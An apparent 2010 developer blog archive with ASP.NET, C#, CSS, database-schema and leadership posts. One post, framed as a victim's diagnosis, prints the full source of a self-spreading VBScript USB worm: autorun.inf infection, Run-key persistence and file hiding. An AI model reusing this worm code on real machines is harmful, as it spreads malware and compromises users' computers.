Saturday, July 31, 2010

Design: Voting or Polling Database Schema

Some time back, I was hit upon a query to prepare a voting database schema. So, here is what I came up with; this is just so it may help anyone looking for a polling/voting schema.

Table: poll_referendum
    int id
    varchar name

Table: poll_questions
    int id
    int referendum_id (foreign key to poll_referendum.id)
    varchar body
    datetime created_at
    datetime updated_at

Table: poll_answers
    int id
    int vote_id default 0 (foreign key to vote_types.id)
    int question_id (foreign key to poll_questions.id)
    datetime created_at
    datetime updated_at

Tracking for an answer, so users are able to vote only once:
Table: poll_voting_history
    int id
    int question_id (foreign key to poll_questions.id)
    int answer_id (foreign key to poll_answers.id)
    int user_id (foreign key to the id in the users table)
    datetime created_at
    datetime updated_at
 
Lookup: vote_types
    int id
    varchar type [yes | no | abstain]
 

Note:
If everyone can vote, registered or unregistered, then we might need to track some other user attributes, for instance:
  • Date/time stamp
  • IP
  • User agent
  • User cookie attributes
  • Besides Referendum_id, question_id, answer_id, vote_id, etc

But even this is easily "tamperable" if user changes any of the above fields, or use a Tor-like software. In that case we would need to look into some pattern recognition algorithms or research some other techniques to track user.

Following article might help you get a jump start.

Happy coding!

Friday, July 30, 2010

How to: Validate User Control

How to validate user controls?

There is no quick way of validating user control. Following solutions might help.

Solution 1:
Usually, you can validate like following:
Page.Validate("MyValidationGroupOfDateUserControl");//Date user control
Page.Validate("MyValidationGroupOfAddressUserControl");//Address user control
if(Page.IsValid)
{
    //Do Something, Save/etc.
}
else
 ShowError("Some method to show error; "missing fields.");
But what if you want the validation to be client side?

One way could be to add a public property in your user control for validation group

public string ValidationGroup
{
       set
        {
            SetValidationGroup(value);
        }
}

//Sets the validations for all your controls
private void SetValidationGroup(string val)
{
        txtName.ValidationGroup = val;
        txtLocation.ValidationGroup = val;
 RequiredFieldValidator1.ValidationGroup = val;
 RequiredFieldValidator2.ValidationGroup = val;
}

And in your markup set it like:


Or if its in tab panel, that is, if you have your control displayed under a tab. Use following code:

<_asp:TabPanel runat="server" ID="pnlAddress" HeaderText="<%$ Resources:Resource, UserControls_Address %>">
                        
                            


Solution 2:

Add the validation group in the base class; and sub class your controls from it.

public class UserControlBase : UserControl
{
    public UserControlBase()
    {
        this.Load += new EventHandler(UserControlBase_Load);
    }

    void UserControlBase_Load(object sender, EventArgs e)
    {
        SetValidationGroup();
    }

    /// 
    /// Sets the validation group.
    /// 
    private void SetValidationGroup()
    {
        foreach (Control control in this.Controls)
        {
            //See if its ValidationGroup'able?
            if (control.GetType().GetProperty("ValidationGroup") == null) continue;

            //If you want to set validation for specific controls, 
            //for instance only for text boxes and drop down lists.
            //then, iterate through following.
            switch (control.GetType().ToString())
            {
                case "System.Web.UI.WebControls.DropDownList":
                case "System.Web.UI.WebControls.TextBox":
                    control.GetType().GetProperty("ValidationGroup").SetValue(control, ValidationGroup, null);
                    break;
            }

            //Set for all controls; if you want.
            //control.GetType().GetProperty("ValidationGroup").SetValue(control, ValidationGroup, null);
        }
    }

    public string ValidationGroup
    {
        get { return (string)ViewState["ValidationGroup"]; }
        set { ViewState["ValidationGroup"] = value; }
    }

    /// 
    /// Clears the controls.
    /// 
    /// 


The parent.public void ClearControls(Control parent)
    {
        foreach (Control c in parent.Controls)
        {
            if (c.Controls.Count > 0)
            {
                ClearControls(c);
            }
            else
            {
                switch (c.GetType().ToString())
                {
                    case "System.Web.UI.WebControls.TextBox":
                        ((TextBox)c).Text = "";
                        break;
                    case "System.Web.UI.WebControls.CheckBox":
                        ((CheckBox)c).Checked = false;
                        break;
                    case "System.Web.UI.WebControls.RadioButton":
                        ((RadioButton)c).Checked = false;
                        break;
                    case "System.Web.UI.WebControls.DropDownList":
                        ((DropDownList)c).SelectedIndex = -1;
                        break;
                }
            }
        }
    }

}

In your control, write:

//Address user control
public partial class UCtlAddress : System.Web.UI.UserControl
{
...
}

Note couple of utility functions that you provide in your base user control; just so it may come handy at any time.

Use it similar to above in your markup;



Happy coding, and yep... I love GhostDoc! (0:

Sunday, July 25, 2010

VB Script: How to create a virus?

Since quite a couple of weeks I was having slow PC; and eventually dying for a restart. I turned off all of the windows services, I removed all un-necessary software and even those that were necessary but having low usage-frequency. Still to no avail. Then I went through my registry to cleanup unwanted run and run once's.

As I turn on the computer I could see a lot of wscript's running, about tens of them, hogging my CPU and memory like anything. I thought it might be network policy imposed by network department; I used to close all of the running scripts one by one. But an eventual talk to network admin revealed that no PC "runs" the policy on PC start-up, and that they do not have to do anything with the wscript.exe scripts.

Running Symantec EndPoint Protection software that has an up-to-date virus definitions, I could not imagine a virus in my pc.

Most people think that WScript.EXE is a virus, which it is not. Its a windows script hosting(WSH) software. Also, I have used WScript quite a couple of times myself, and probably so is the reason I never thought of removing that exe.

It can potentially execute commands(VB or JScript) that you may not want/desire.

Following is a simple example taken from MSDN, to write in registry.
Dim WshShell, bKey
Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.RegWrite "HKCU\Software\ACME\FortuneTeller\", 1, "REG_BINARY"
WshShell.RegWrite "HKCU\Software\ACME\FortuneTeller\MindReader", "Goocher!", "REG_SZ"

bKey = WshShell.RegRead("HKCU\Software\ACME\FortuneTeller\")
WScript.Echo WshShell.RegRead("HKCU\Software\ACME\FortuneTeller\MindReader")

WshShell.RegDelete "HKCU\Software\ACME\FortuneTeller\MindReader"
WshShell.RegDelete "HKCU\Software\ACME\FortuneTeller\"
WshShell.RegDelete "HKCU\Software\ACME\"

So, long story short, this always used to happen when it insert my flash drive in the system. Couple of days ago, I cancelled the Action window that pops up when you insert a flash drive. I browsed the drive using Control+E (Windows Explorer) and to my astonishment I found a .VBS file; which is basically the VB Script file. I renamed the file and opened it. It was the code that was hogging my PC!

Though, I did not like the slow the PC at all, because I couldnt work; but interestingly I did enjoy reading the code (0:

Following is what I found when I opened d.vbs file; I have added a couple of comments just for the reader to better understand the code.

On Error Resume Next
set objfso=CreateObject("Scripting.fileSystemObject" 'causes execution to continue with the statement
Set ws = CreateObject("wscript.Shell") ' Create a shell object
Set sh = CreateObject("Shell.application")
sour="C:\Tempe"
if objfso.FolderEXists(sour) Then ' Look for a folder
set tf =objfso.getFolder(sour)
tf.Attributes=39
End If

a=0
b=10
c=10

'Tweaking the registry
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorer", sour & "\" &"d.vbs"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden",1,"REG_DWORD"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","1"
if a=0 Then

if objfso.FileExists("C:\Tempe\win.exe") Then
ws.Run("C:\Tempe\win.exe")
end if
end if

Do
For Each flashdrive In objfso.drives
   If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path<>"A:" Then

If (flashdrive.drivetype = 1) Then 
pet=flashdrive.path & "\"

set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close
set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

if objfso.FileExists(pet&"autorun.inf") Then
set f = objfso.getfile(pet&"autorun.inf")
size = f.size
set text=f.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
end if
if tf=source Then
sour="C:\Tempe"
Else
set f = objfso.getfile(pet&"autorun.inf")
objfso.DeleteFile(f)
End If

If a=0 Then
ws.Run(pet)
ws.run(pet&"win.exe")
End If
a=a+1
sour="C:\Tempe"
pet=flashdrive.path & "\" 
dest=flashdrive.path & "\Tempe" 
sours="C:\Tempe\"

if a=3 Then
If objfso.FileExists(pet&"autorun.inf") Then
objfso.DeleteFile(pet&"autorun.inf")

set Fol=objfso.GetFolder(sour)
set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close

set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

End If
End If

If objfso.FileExists(pet&"d.vbs") Then
sour="C:\Tempe"
Else
set Fol=objfso.GetFolder(sour)
set f=objfso.GetFile(Fol&"\d.vbs")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "d.vbs")
f.Attributes=39

set f=objfso.GetFile(Fol&"\win.exe")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "win.exe")
f.Attributes=39

set f=objfso.GetFile(Fol&"\tere.ico")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "tere.ico")
f.Attributes=39
set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close
set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

set mf = objfso.getfile(pet&"autorun.inf")
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
End If

If objfso.FolderExists (sour) Then
set Fol=objfso.GetFolder(sour)
End If

If objfso.FileExists("C:\Tempe\d.vbs") Then
sour="C:\Tempe"
Else
set tf=objfso.createFolder("C:\"& "Tempe")
set Fol=objfso.GetFolder(sour)
Fol.Attributes=39
set f=objfso.GetFile(pet&"d.vbs")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\d.vbs")
f.Attributes=39
set f=objfso.GetFile(pet&"tere.ico")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\tere.ico")
f.Attributes=39
set f=objfso.GetFile(pet&"win.exe")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\win.exe")
f.Attributes=39
End If

set mf = objfso.getfile(pet&"autorun.inf")
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
if a=3 Then
a=1
End If
End If
End If
Next
if check<>1 Then
Wscript.sleep 10000
end if
 
set mf = objfso.getfile(Wscript.ScriptFullname)
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
Loop While (check <> 1) 

Happy diagnosing the virus! (0:

NOTE:

If you see alot of wscript.exe's running on your machine, and you still doubt their actions; copy and paste the following code into Check for virus.VBS file, and double click to run it.

The following code prints, in form of message box, all of the scripts that is being run under wscript.exe program.

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'cscript.exe'" & _
        " OR Name = 'wscript.exe'")
For Each objItem in colItems
    Wscript.Echo objItem.CommandLine
Next


Keep on pressing the OK button to see the list of scripts being run under wscripts.exe

Enjoy!

Monday, July 19, 2010

ASP.NET: Quick Sort a GridView

How to sort a GridView without hitting the database?

DataView dv = dt.DefaultView;//Your datatable, dt.
dv.RowFilter = "";//Set row filter to none.
if ((strSortBy != null) && (strSortAscending != null))
    dv.Sort = strSortBy/*Column name*/ + " " + strSortAscending /*ASC, for instance.*/;

grd.DataSource = dv;
grd.DataBind();

Happy sorting!

Sunday, July 11, 2010

Management vs Leadership

Is manager same as leader? Is manager always a leader?

"No.", writes Robert Heller in his famous Effective Leadership.

Though, I did read couple of online articles by Robert Heller, this was the first time that I came across the book in City Center Mall, Salimya, Kuwait.

He clearly identifies the leaders among managers as:

Leaders
  • Administer
  • Originate
  • Develop
  • Inspire trust
  • Think long term
  • Ask what and why
  • Watch the horizon
  • Challenge status quo
  • Are their own people
  • Do the right thing
Managers
  • Implement
  • Copy
  • Maintain
  • Control
  • Think short term
  • Ask how and when
  • Watch the bottom line
  • Accept status quo
  • Are good soldiers
  • Do things right
I believe mentoring is a core part of leadership; but that depends, is your manager a leader? Consider yourself lucky if she is, otherwise - find one, or buy this book.

Robert Heller goes into analyzing the role of a manager, and tells a way to improve the standard of quality of a team. He stresses to:
"Ensure that staff are motivated, well managed, and empowered to improve continuously; and the way to do that is to:
  • Train all staff in the skills and capabilities they need to meet their quality targets.
  • Practise two way communication; top-down, and bottom-up, through all available media.
  • Use coaching sessions to mentor as well as teach."
Robert identifies a thought-provoking list of question that a "leader" must ask herself; a couple, as follows:
  • Do I communicate directly with my team?
  • Am I sure that every member of the team understands his/her role fully?
  • Am I setting sufficiently ambitious goals?
I believe the most effective style of leadership is with varying styles, which includes being "Peoples' Person". Which believes on the principle that success flows from team within the team. It seeks to develop a climate of open-ness, and work with-and-for everybody equally.

Contrary to many private IT organizations that "practicing/promoting" the bureaucratic-management work environment in Pakistan especially, Robert encourages:
"Taking into account the feelings of staff when promoting internally".
At this account, I recall my previous boss, Shariq Mirza, a FAST graduate, living in the US for ~18 years now - helping United States Postal Services build great mailing solutions. Surprisingly(well, to my surprise), I have learnt alot from him. Surprised, because I was offshore all the time. I never thought I would get a chance to be mentored; but, lucky for me, the time that I spent with him, in email changes, telecons, personal phone talks, etc, has mentored me far more, has added in me far more "professional decor", compared to the rest I could find in my entire professional career.

I learned alot; I learned about the trigger theory, team management, resolving conflicts, and how to be a team leader; how "leaders cover all the time", and why, "employees leave managers, not companies". I also learned about the green-light red-light approach of gathering requirements and then classifying it down to needs, nice-to-haves, and wishes.

"When everything fails, communicate", is what I tied down in my pallu, and use it often, the day he said that.

If you are manager, or well... a leader, can you guess the reasons of the following few mishaps?
  • Lack of communication, which results in lack of trust
  • Un-gelled team
  • Developer spending more time in heart burn
  • Passive questions/explanation raised by manager
  • Avoiding positive feedback and recognition regularly for work well done
The above problems in a team always has a root-cause, a boss who sits in his cubicle, seldom comes out for a talk/discussion with his team; rarely encourages training; doesn't know anything about mentoring. "Use" meaningless statements to down-rate in appraisal; rejects every idea that a developer has to suggest, questioning every request that is made, to reject.

You can't talk to the bureaucratic-management; they have got a virtual firewall built around them, so you would think twice before entering into a discussion with them.

Quite interestingly a resignation letter caught a wild-fired-discussion and gained considerable amount of attention when the resign-ee made the private e-mail exchanges public. A UI Developer Jeff Ammons (at Mahalo.com, then), when requested for resignation to his, quite famous, boss, Jason Calacanis. William Shields, also known as cletus on StackOverflow added his thoughts over the story. A google would reveal the actual email text exchanges.

But is that all fruitful? Does that result in a "gelled-team"? The point that I am trying to make is to gain trust between among the team, and which cannot, and I repeat just to avoid any confusions, "cannot", be achieved without Communications.

So should leadership be expected from a manager?

Good day!

Friday, July 9, 2010

CSS: Challenges of being a CSS-P

Some time back I conducted a small training regarding CSS. There was a whole lotta debate that went on and on regarding Tables vs DIV, and then we went into being the CSS-P (Pure-CSS).

Consider the following table. What if your user/customer wants to copy the data into their excelsheet?



But somehow the user is disturbingly-surprised to findout that she cant do that.


Curiously, she tries to ViewSource and finds out the following html code:


So eventually, shes hating the CSS-Ps and the DIVs; because a new tag is just not helping her.

So, can we use CSS (DIV) for Tabular data?
Yes!

Should we?
No.

Why?
To enhance the user experience of your website.

Example?
Copy and paste rows to an excelsheet; From a DIV'd data and Table‘d.

Btw, a tabled data would produce something like following in the excelsheet.

You might just have delighted your customer!

So, DIV says ‘go table go’?
No.

DIV = layout
Table = data

If you are interested, checkout http://gomontessori.com/ a CSS-P website.



Happy styling!

Tuesday, July 6, 2010

ASP.NET: Add serial number column in GridView

ASP.NET: Add a serial number in GridView
1. Add a template field tag in your GridView markup
2. Add Container.DataItemIndex + 1 code
3. Enjoy



<%#Container.DataItemIndex+1 %>



Happy coding!

Saturday, July 3, 2010

.NET 4.0: ExpandoObject

Couple of articles ago, I did write about new dynamic type feature in C# 4.0

Some what related to the dynamic is the ExpandoObject.

Yep I know it does sound like an eight armed sea creature, but don't worry - its just an object that comes with .NET 4.0. Dont know what Microsofties think whenever they come up with such a name.

MSDN says, ExpandoObject "represents an object whose members can be dynamically added and removed at run time."

Add a property:
sampleObject.test = "Dynamic Property";
Console.WriteLine(sampleObject.test);
Console.WriteLine(sampleObject.test.GetType());

Output:
// This code example produces the following output:
// Dynamic Property
// System.String


Remove a property:

dynamic employee = new ExpandoObject();
employee.Name = "John Smith";
((IDictionary)employee).Remove("Name");

Associate and call events dynamically:

class Program
{
    static void Main(string[] args)
    {
        dynamic sampleObject = new ExpandoObject();

        // Create a new event and initialize it with null.
        sampleObject.sampleEvent = null;

        // Add an event handler.
        sampleObject.sampleEvent += new EventHandler(SampleHandler);

        // Raise an event for testing purposes.
        sampleObject.sampleEvent(sampleObject, new EventArgs());
   }

    // Event handler.
    static void SampleHandler(object sender, EventArgs e)
    {
        Console.WriteLine("SampleHandler for {0} event", sender);
    }
}

Output:
// This code example produces the following output:
SampleHandler for System.Dynamic.ExpandoObject event.

Cons of ExpandoObject:

Though the usage of dynamic keyword seems quite interesting; but it could become very hard to catch errors. For instance, a new developer who doesn't know much about it adds a property that was not required; the compiler won't show an error - only, probably runtime will. This means, typos won't be picked up during compile time because you can just declare about anything anywhere.

Plus, this code gives an impression that it type-safe, which it clearly, is not.

Even the tools like ReSharper would not be able to grab that error.

Anyway, you may also want to look into the unusual uses of Expando Object.

Happy coding!

Friday, July 2, 2010

How to view arabic in Console apps?

How to view arabic in Console apps?

You cant;

The Console applications do not support Arabic Text for input and output due to a limitation in the operating system console support. MSDN

Reason might be because Console is not set to handle multi-byte character-sets or 16-bit Unicode.

So, how to view Arabic numbers in WinForms or WebForms?

It seems that generally Arabic numerals are used in English. Though, the Date controls are culture-aware, the numbers are not :)

This means you will have to convert the numerals to arabic manually, at least so it seems.

So, you can write an extension method to achieve that:

public static string ToArabicEx(this string str)
{
    if (!string.IsNullOrEmpty(str))
    {
        Thread.CurrentThread.CurrentCulture = CultureInfo.CreateSpecificCulture("ar-AE");
        string[] nativeDigits = Thread.CurrentThread.CurrentCulture.NumberFormat.NativeDigits;

        return str.Replace('0', nativeDigits[0].ToCharArray()[0])
                .Replace('1', nativeDigits[1].ToCharArray()[0])
                .Replace('2', nativeDigits[2].ToCharArray()[0])
                .Replace('3', nativeDigits[3].ToCharArray()[0])
                .Replace('4', nativeDigits[4].ToCharArray()[0])
                .Replace('5', nativeDigits[5].ToCharArray()[0])
                .Replace('6', nativeDigits[6].ToCharArray()[0])
                .Replace('7', nativeDigits[7].ToCharArray()[0])
                .Replace('8', nativeDigits[8].ToCharArray()[0])
                .Replace('9', nativeDigits[9].ToCharArray()[0]);
    }
    else return str;
}

Usage:

for (int i = 0; i <= 9; i++)
{
    Response.Write(strLineBreak + i.ToString().ToArabicEx());
    Response.Write(strLineBreak + DateTime.Now.ToString().ToArabicEx());

}

Happy coding!

Related Posts

Popular Posts